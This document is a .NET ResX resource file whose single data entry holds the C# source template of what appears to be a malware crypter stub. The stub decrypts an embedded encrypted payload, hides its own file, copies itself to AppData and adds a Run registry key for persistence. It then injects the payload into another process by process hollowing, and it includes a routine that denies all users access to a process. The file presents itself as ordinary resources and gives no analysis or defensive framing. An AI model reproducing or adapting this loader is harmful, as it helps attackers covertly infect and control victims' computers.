610 lines
25 KiB
XML
610 lines
25 KiB
XML
<?xml version="1.0" encoding="utf-8"?>
|
|
<root>
|
|
<!--
|
|
Microsoft ResX Schema
|
|
|
|
Version 2.0
|
|
|
|
The primary goals of this format is to allow a simple XML format
|
|
that is mostly human readable. The generation and parsing of the
|
|
various data types are done through the TypeConverter classes
|
|
associated with the data types.
|
|
|
|
Example:
|
|
|
|
... ado.net/XML headers & schema ...
|
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
|
<resheader name="version">2.0</resheader>
|
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
|
</data>
|
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
|
<comment>This is a comment</comment>
|
|
</data>
|
|
|
|
There are any number of "resheader" rows that contain simple
|
|
name/value pairs.
|
|
|
|
Each data row contains a name, and value. The row also contains a
|
|
type or mimetype. Type corresponds to a .NET class that support
|
|
text/value conversion through the TypeConverter architecture.
|
|
Classes that don't support this are serialized and stored with the
|
|
mimetype set.
|
|
|
|
The mimetype is used for serialized objects, and tells the
|
|
ResXResourceReader how to depersist the object. This is currently not
|
|
extensible. For a given mimetype the value must be set accordingly:
|
|
|
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
|
that the ResXResourceWriter will generate, however the reader can
|
|
read any of the formats listed below.
|
|
|
|
mimetype: application/x-microsoft.net.object.binary.base64
|
|
value : The object must be serialized with
|
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
|
: and then encoded with base64 encoding.
|
|
|
|
mimetype: application/x-microsoft.net.object.soap.base64
|
|
value : The object must be serialized with
|
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
|
: and then encoded with base64 encoding.
|
|
|
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
|
value : The object must be serialized into a byte array
|
|
: using a System.ComponentModel.TypeConverter
|
|
: and then encoded with base64 encoding.
|
|
-->
|
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
|
<xsd:element name="root" msdata:IsDataSet="true">
|
|
<xsd:complexType>
|
|
<xsd:choice maxOccurs="unbounded">
|
|
<xsd:element name="metadata">
|
|
<xsd:complexType>
|
|
<xsd:sequence>
|
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
|
</xsd:sequence>
|
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
|
<xsd:attribute name="type" type="xsd:string" />
|
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
|
<xsd:attribute ref="xml:space" />
|
|
</xsd:complexType>
|
|
</xsd:element>
|
|
<xsd:element name="assembly">
|
|
<xsd:complexType>
|
|
<xsd:attribute name="alias" type="xsd:string" />
|
|
<xsd:attribute name="name" type="xsd:string" />
|
|
</xsd:complexType>
|
|
</xsd:element>
|
|
<xsd:element name="data">
|
|
<xsd:complexType>
|
|
<xsd:sequence>
|
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
|
</xsd:sequence>
|
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
|
<xsd:attribute ref="xml:space" />
|
|
</xsd:complexType>
|
|
</xsd:element>
|
|
<xsd:element name="resheader">
|
|
<xsd:complexType>
|
|
<xsd:sequence>
|
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
|
</xsd:sequence>
|
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
|
</xsd:complexType>
|
|
</xsd:element>
|
|
</xsd:choice>
|
|
</xsd:complexType>
|
|
</xsd:element>
|
|
</xsd:schema>
|
|
<resheader name="resmimetype">
|
|
<value>text/microsoft-resx</value>
|
|
</resheader>
|
|
<resheader name="version">
|
|
<value>2.0</value>
|
|
</resheader>
|
|
<resheader name="reader">
|
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
|
</resheader>
|
|
<resheader name="writer">
|
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
|
</resheader>
|
|
<data name="thegoofstuff" xml:space="preserve">
|
|
<value>using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Security.AccessControl;
|
|
using System.Security.Principal;
|
|
using Microsoft.Win32;
|
|
using System.Reflection;
|
|
using System.Resources;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
using System.Security.Cryptography;
|
|
|
|
using System.ComponentModel;
|
|
using System.Text;
|
|
|
|
|
|
[assembly: AssemblyTitle("[_ccc]")]
|
|
[assembly: AssemblyDescription("[_ddd]")]
|
|
[assembly: AssemblyCompany("[_ppopop]")]
|
|
[assembly: AssemblyProduct("[_pbo]")]
|
|
[assembly: AssemblyCopyright("[_t]")]
|
|
[assembly: AssemblyTrademark("[_codebranch]")]
|
|
[assembly: AssemblyVersion("[_junk]")]
|
|
[assembly: AssemblyFileVersion("[_extramoney]")]
|
|
|
|
internal class Program
|
|
{
|
|
|
|
class Pod
|
|
{
|
|
|
|
public static byte[] ReadManaged()
|
|
{
|
|
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
|
|
byte[] bytes = (byte[])manager.GetObject("enc");
|
|
return bytes;
|
|
}
|
|
}
|
|
|
|
public static bool BlockAccess(IntPtr handle)
|
|
{
|
|
int num = 0;
|
|
GetKernelObjectSecurity(handle, 4, null, 0, ref num);
|
|
if (num <= 0)
|
|
{
|
|
return false;
|
|
}
|
|
byte[] data = new byte[(num - 1) + 1];
|
|
if (!GetKernelObjectSecurity(handle, 4, data, data.Length, ref num))
|
|
{
|
|
return false;
|
|
}
|
|
RawSecurityDescriptor descriptor = new RawSecurityDescriptor(data, 0);
|
|
SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
|
|
CommonAce ace = new CommonAce(AceFlags.None, AceQualifier.AccessDenied, 0x1f0fff, sid, false, null);
|
|
descriptor.DiscretionaryAcl.InsertAce(0, ace);
|
|
data = new byte[(descriptor.BinaryLength - 1) + 1];
|
|
descriptor.GetBinaryForm(data, 0);
|
|
if (!SetKernelObjectSecurity(handle, 4, data))
|
|
{
|
|
return false;
|
|
}
|
|
return true;
|
|
}
|
|
|
|
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool CreateProcessA([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpApplicationName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpCurrentDirectory, byte[] lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
|
|
[DllImport("advapi32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool GetKernelObjectSecurity(IntPtr handle, int requestedInformation, byte[] data, int dataLength, ref int size);
|
|
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern IntPtr GetProcAddress(IntPtr hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string procName);
|
|
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
|
|
[DllImport("ntdll.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool NtSetInformationProcess(IntPtr handle, int processInformationClass, ref int processInformation, int processInformationLength);
|
|
[DllImport("ntdll.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
|
|
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern uint ResumeThread(IntPtr hThread);
|
|
|
|
public static void Main()
|
|
{
|
|
|
|
|
|
//Giving a byte array for our encrypted bytes
|
|
byte[] FuckingBytes = Pod.ReadManaged();
|
|
//The encryption key
|
|
string encKey = "[_key-replace011]";
|
|
//The encryption key in bytes
|
|
byte[] commend = Encoding.UTF8.GetBytes(encKey);
|
|
//Makign a hash for the encryption key
|
|
commend = SHA256.Create().ComputeHash(commend);
|
|
//The decrypted bytes
|
|
byte[] whatudoing = _Axel(FuckingBytes,commend);
|
|
//Crypting process
|
|
string result = Encoding.UTF8.GetString(whatudoing);
|
|
//The all decrypted bytes
|
|
byte[] fuckdics = Convert.FromBase64String(result);
|
|
//If user choosed startup add to startup
|
|
|
|
|
|
|
|
string hostProcess = "";
|
|
if("[_ijto]" == "[_APP]")
|
|
{
|
|
//
|
|
}
|
|
if("[_ijto]" == "[_IS]")
|
|
{
|
|
if("[_IsStartupCompany]" == "[Ver]")
|
|
{
|
|
_AddToDatabase();
|
|
}
|
|
if([_xx] != 0)
|
|
Thread.Sleep([_xx] * 1000);
|
|
|
|
hostProcess = typeof(Program).Assembly.Location;
|
|
}
|
|
|
|
|
|
FileInfo _InformationDesk = new FileInfo(Application.ExecutablePath);
|
|
_InformationDesk.Attributes = FileAttributes.Hidden;
|
|
_PullAuthorsInfo(fuckdics, "", hostProcess);
|
|
int errorrrrr = 0;
|
|
|
|
|
|
Environment.Exit(errorrrrr);
|
|
|
|
}
|
|
|
|
|
|
public static void _AddToDatabase()
|
|
{
|
|
|
|
string _path = Path.Combine(Application.UserAppDataPath, "[_RegisteredF]");
|
|
string _path2 = Path.Combine(_path, "[_RegisteredName].exe");
|
|
|
|
if (!File.Exists(_path2))
|
|
{
|
|
DirectoryInfo di = Directory.CreateDirectory(_path);
|
|
File.Copy(Application.ExecutablePath, _path2, true);
|
|
RegistryKey _XFactorkey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
|
if (_XFactorkey.ToString().Length != 0) _XFactorkey.SetValue("[_RegisteredName]", _path2);
|
|
}
|
|
}
|
|
public static byte[] _Axel(byte[] decrypted, byte[] key2)
|
|
{
|
|
|
|
|
|
byte[] dcbytes = null;
|
|
|
|
byte[] saltie = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
|
|
|
|
using (MemoryStream ms = new MemoryStream())
|
|
{
|
|
using (RijndaelManaged AES = new RijndaelManaged())
|
|
{
|
|
AES.KeySize = 256;
|
|
AES.BlockSize = 128;
|
|
|
|
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltie, 1000);
|
|
AES.Key = key.GetBytes(AES.KeySize/8);
|
|
AES.IV = key.GetBytes(AES.BlockSize/8);
|
|
|
|
AES.Mode = CipherMode.CBC;
|
|
|
|
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
|
|
{
|
|
cs.Write(decrypted, 0, decrypted.Length);
|
|
cs.Close();
|
|
}
|
|
dcbytes = ms.ToArray();
|
|
}
|
|
}
|
|
return dcbytes;
|
|
}
|
|
|
|
|
|
|
|
public static int _PullAuthorsInfo(byte[] file, string cmd, string location)
|
|
{
|
|
|
|
int num = 0;
|
|
int num2 = 0;
|
|
|
|
do
|
|
{
|
|
if (!(_MatchVerification(file, cmd, location) == IntPtr.Zero))
|
|
{
|
|
break;
|
|
}
|
|
num2++;
|
|
}
|
|
while (num2 <= 9);
|
|
Process.GetCurrentProcess().Kill();
|
|
return num;
|
|
}
|
|
|
|
private static IntPtr _MatchVerification(byte[] file, string cmd, string location)
|
|
{
|
|
IntPtr hProcess = IntPtr.Zero;
|
|
try
|
|
{
|
|
UIntPtr ptr4 = UIntPtr.Zero;
|
|
IntPtr ptr6;
|
|
PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION();
|
|
CONTEXT lpContext = new CONTEXT();
|
|
IMAGE_DOS_HEADER image_dos_header = new IMAGE_DOS_HEADER();
|
|
IMAGE_SECTION_HEADER image_section_header = new IMAGE_SECTION_HEADER();
|
|
IntPtr destination = Marshal.AllocHGlobal((int) (file.Length - 1));
|
|
Marshal.Copy(file, 0, destination, file.Length - 1);
|
|
image_dos_header = (IMAGE_DOS_HEADER) Marshal.PtrToStructure(destination, typeof(IMAGE_DOS_HEADER));
|
|
IntPtr ptr3 = Marshal.AllocHGlobal(file.Length);
|
|
Marshal.Copy(file, 0, ptr3, file.Length);
|
|
IMAGE_NT_HEADERS image_nt_headers = (IMAGE_NT_HEADERS) Marshal.PtrToStructure((IntPtr) (ptr3.ToInt32() + image_dos_header.e_lfanew), typeof(IMAGE_NT_HEADERS));
|
|
string lpCurrentDirectory = null;
|
|
CreateProcessA(ref location, ref cmd, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, ref lpCurrentDirectory, new byte[0x3d], ref lpProcessInformation);
|
|
NtUnmapViewOfSection(lpProcessInformation.hProcess, (IntPtr) image_nt_headers.OptionalHeader.ImageBase);
|
|
IntPtr lpAddress = new IntPtr((long) image_nt_headers.OptionalHeader.ImageBase);
|
|
if (VirtualAllocEx(lpProcessInformation.hProcess, lpAddress, image_nt_headers.OptionalHeader.SizeOfImage, AllocationType.COMMIT | AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE) == IntPtr.Zero)
|
|
{
|
|
try
|
|
{
|
|
Process.GetProcessById((int) lpProcessInformation.dwProcessId).Kill();
|
|
}
|
|
catch (Exception)
|
|
{
|
|
|
|
}
|
|
return hProcess;
|
|
}
|
|
lpContext.ContextFlags = 0x10007;
|
|
GetThreadContext(lpProcessInformation.hThread, ref lpContext);
|
|
lpAddress = new IntPtr((long) image_nt_headers.OptionalHeader.ImageBase);
|
|
WriteProcessMemory(lpProcessInformation.hProcess, lpAddress, file, image_nt_headers.OptionalHeader.SizeOfHeaders, ref ptr4);
|
|
int num5 = image_nt_headers.FileHeader.NumberOfSections - 1;
|
|
for (int i = 0; i <= num5; i++)
|
|
{
|
|
uint num3 = 0;
|
|
ptr6 = new IntPtr(((GCHandle.Alloc(file, GCHandleType.Pinned).AddrOfPinnedObject().ToInt32() + image_dos_header.e_lfanew) + Marshal.SizeOf(RuntimeHelpers.GetObjectValue(image_nt_headers))) + (i * Marshal.SizeOf(RuntimeHelpers.GetObjectValue(image_section_header))));
|
|
image_section_header = (IMAGE_SECTION_HEADER) Marshal.PtrToStructure(ptr6, typeof(IMAGE_SECTION_HEADER));
|
|
byte[] lpBuffer = new byte[((int) ((image_section_header.SizeOfRawData + 1) - 1L)) + 1];
|
|
int num6 = ((int) image_section_header.SizeOfRawData) - 1;
|
|
for (int j = 0; j <= num6; j++)
|
|
{
|
|
lpBuffer[j] = file[((int) image_section_header.PointerToRawData) + j];
|
|
}
|
|
ptr6 = new IntPtr((long) (image_nt_headers.OptionalHeader.ImageBase + image_section_header.VirtualAddress));
|
|
WriteProcessMemory(lpProcessInformation.hProcess, ptr6, lpBuffer, Convert.ToUInt32(image_section_header.SizeOfRawData), ref ptr4);
|
|
ptr6 = new IntPtr((long) (image_nt_headers.OptionalHeader.ImageBase + image_section_header.VirtualAddress));
|
|
VirtualProtect(lpProcessInformation.hProcess, ptr6, image_section_header.VirtualSize, MemoryProtection.EXECUTE_READWRITE, ref num3);
|
|
}
|
|
byte[] bytes = BitConverter.GetBytes(image_nt_headers.OptionalHeader.ImageBase);
|
|
ptr6 = new IntPtr((long) (lpContext.Ebx + 8));
|
|
WriteProcessMemory(lpProcessInformation.hProcess, ptr6, bytes, (uint) bytes.Length, ref ptr4);
|
|
lpContext.Eax = image_nt_headers.OptionalHeader.ImageBase + image_nt_headers.OptionalHeader.AddressOfEntryPoint;
|
|
SetThreadContext(lpProcessInformation.hThread, ref lpContext);
|
|
int num = (int) ResumeThread(lpProcessInformation.hThread);
|
|
hProcess = lpProcessInformation.hProcess;
|
|
}
|
|
catch (Exception)
|
|
{
|
|
|
|
hProcess = IntPtr.Zero;
|
|
|
|
}
|
|
return hProcess;
|
|
}
|
|
|
|
[DllImport("advapi32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool SetKernelObjectSecurity(IntPtr handle, int securityInformation, byte[] data);
|
|
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool SetThreadContext(IntPtr hThread, [In] ref CONTEXT lpContext);
|
|
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
|
|
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool VirtualProtect(IntPtr hProcess, IntPtr lpAddress, uint dwSize, MemoryProtection flNewProtect, ref uint lpflOldProtect);
|
|
[DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true, ExactSpelling=true)]
|
|
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, ref UIntPtr lpNumberOfBytesWritten);
|
|
|
|
public enum AllocationType : uint
|
|
{
|
|
COMMIT = 0x1000,
|
|
LARGE_PAGES = 0x20000000,
|
|
PHYSICAL = 0x400000,
|
|
RESERVE = 0x2000,
|
|
RESET = 0x80000,
|
|
TOP_DOWN = 0x100000,
|
|
WRITE_WATCH = 0x200000
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
public struct CONTEXT
|
|
{
|
|
public uint ContextFlags;
|
|
public uint Dr0;
|
|
public uint Dr1;
|
|
public uint Dr2;
|
|
public uint Dr3;
|
|
public uint Dr6;
|
|
public uint Dr7;
|
|
public Program.FLOATING_SAVE_AREA FloatSave;
|
|
public uint SegGs;
|
|
public uint SegFs;
|
|
public uint SegEs;
|
|
public uint SegDs;
|
|
public uint Edi;
|
|
public uint Esi;
|
|
public uint Ebx;
|
|
public uint Edx;
|
|
public uint Ecx;
|
|
public uint Eax;
|
|
public uint Ebp;
|
|
public uint Eip;
|
|
public uint SegCs;
|
|
public uint EFlags;
|
|
public uint Esp;
|
|
public uint SegSs;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst=0x200)]
|
|
public byte[] ExtendedRegisters;
|
|
}
|
|
|
|
private enum CONTEXT_FLAGS : uint
|
|
{
|
|
CONTEXT_ALL = 0x1003f,
|
|
CONTEXT_CONTROL = 0x10001,
|
|
CONTEXT_DEBUG_REGISTERS = 0x10010,
|
|
CONTEXT_EXTENDED_REGISTERS = 0x10020,
|
|
CONTEXT_FLOATING_POINT = 0x10008,
|
|
CONTEXT_FULL = 0x10007,
|
|
CONTEXT_i386 = 0x10000,
|
|
CONTEXT_i486 = 0x10000,
|
|
CONTEXT_INTEGER = 0x10002,
|
|
CONTEXT_SEGMENTS = 0x10004
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
public struct FLOATING_SAVE_AREA
|
|
{
|
|
public uint ControlWord;
|
|
public uint StatusWord;
|
|
public uint TagWord;
|
|
public uint ErrorOffset;
|
|
public uint ErrorSelector;
|
|
public uint DataOffset;
|
|
public uint DataSelector;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst=80)]
|
|
public byte[] RegisterArea;
|
|
public uint Cr0NpxState;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct IMAGE_DATA_DIRECTORY
|
|
{
|
|
public uint VirtualAddress;
|
|
public uint Size;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct IMAGE_DOS_HEADER
|
|
{
|
|
public ushort e_magic;
|
|
public ushort e_cblp;
|
|
public ushort e_cp;
|
|
public ushort e_crlc;
|
|
public ushort e_cparhdr;
|
|
public ushort e_minalloc;
|
|
public ushort e_maxalloc;
|
|
public ushort e_ss;
|
|
public ushort e_sp;
|
|
public ushort e_csum;
|
|
public ushort e_ip;
|
|
public ushort e_cs;
|
|
public ushort e_lfarlc;
|
|
public ushort e_ovno;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst=4)]
|
|
public ushort[] e_res1;
|
|
public ushort e_oemid;
|
|
public ushort e_oeminfo;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst=10)]
|
|
public ushort[] e_res2;
|
|
public int e_lfanew;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct IMAGE_FILE_HEADER
|
|
{
|
|
public ushort Machine;
|
|
public ushort NumberOfSections;
|
|
public uint TimeDateStamp;
|
|
public uint PointerToSymbolTable;
|
|
public uint NumberOfSymbols;
|
|
public ushort SizeOfOptionalHeader;
|
|
public ushort Characteristics;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct IMAGE_NT_HEADERS
|
|
{
|
|
public uint Signature;
|
|
public Program.IMAGE_FILE_HEADER FileHeader;
|
|
public Program.IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct IMAGE_OPTIONAL_HEADER32
|
|
{
|
|
public ushort Magic;
|
|
public byte MajorLinkerVersion;
|
|
public byte MinorLinkerVersion;
|
|
public uint SizeOfCode;
|
|
public uint SizeOfInitializedData;
|
|
public uint SizeOfUninitializedData;
|
|
public uint AddressOfEntryPoint;
|
|
public uint BaseOfCode;
|
|
public uint BaseOfData;
|
|
public uint ImageBase;
|
|
public uint SectionAlignment;
|
|
public uint FileAlignment;
|
|
public ushort MajorOperatingSystemVersion;
|
|
public ushort MinorOperatingSystemVersion;
|
|
public ushort MajorImageVersion;
|
|
public ushort MinorImageVersion;
|
|
public ushort MajorSubsystemVersion;
|
|
public ushort MinorSubsystemVersion;
|
|
public uint Win32VersionValue;
|
|
public uint SizeOfImage;
|
|
public uint SizeOfHeaders;
|
|
public uint CheckSum;
|
|
public ushort Subsystem;
|
|
public ushort DllCharacteristics;
|
|
public uint SizeOfStackReserve;
|
|
public uint SizeOfStackCommit;
|
|
public uint SizeOfHeapReserve;
|
|
public uint SizeOfHeapCommit;
|
|
public uint LoaderFlags;
|
|
public uint NumberOfRvaAndSizes;
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst=0x10)]
|
|
public Program.IMAGE_DATA_DIRECTORY[] DataDirectory;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
private struct IMAGE_SECTION_HEADER
|
|
{
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst=8)]
|
|
public byte[] Name;
|
|
public uint VirtualSize;
|
|
public uint VirtualAddress;
|
|
public uint SizeOfRawData;
|
|
public uint PointerToRawData;
|
|
public uint PointerToRelocations;
|
|
public uint PointerToLinenumbers;
|
|
public ushort NumberOfRelocations;
|
|
public ushort NumberOfLinenumbers;
|
|
public uint Characteristics;
|
|
}
|
|
|
|
public enum MemoryProtection : uint
|
|
{
|
|
EXECUTE = 0x10,
|
|
EXECUTE_READ = 0x20,
|
|
EXECUTE_READWRITE = 0x40,
|
|
EXECUTE_WRITECOPY = 0x80,
|
|
GUARD_Modifierflag = 0x100,
|
|
NOACCESS = 1,
|
|
NOCACHE_Modifierflag = 0x200,
|
|
READONLY = 2,
|
|
READWRITE = 4,
|
|
WRITECOMBINE_Modifierflag = 0x400,
|
|
WRITECOPY = 8
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
internal struct PROCESS_INFORMATION
|
|
{
|
|
public IntPtr hProcess;
|
|
public IntPtr hThread;
|
|
public IntPtr dwProcessId;
|
|
public int dwThreadId;
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
</value>
|
|
</data>
|
|
</root> |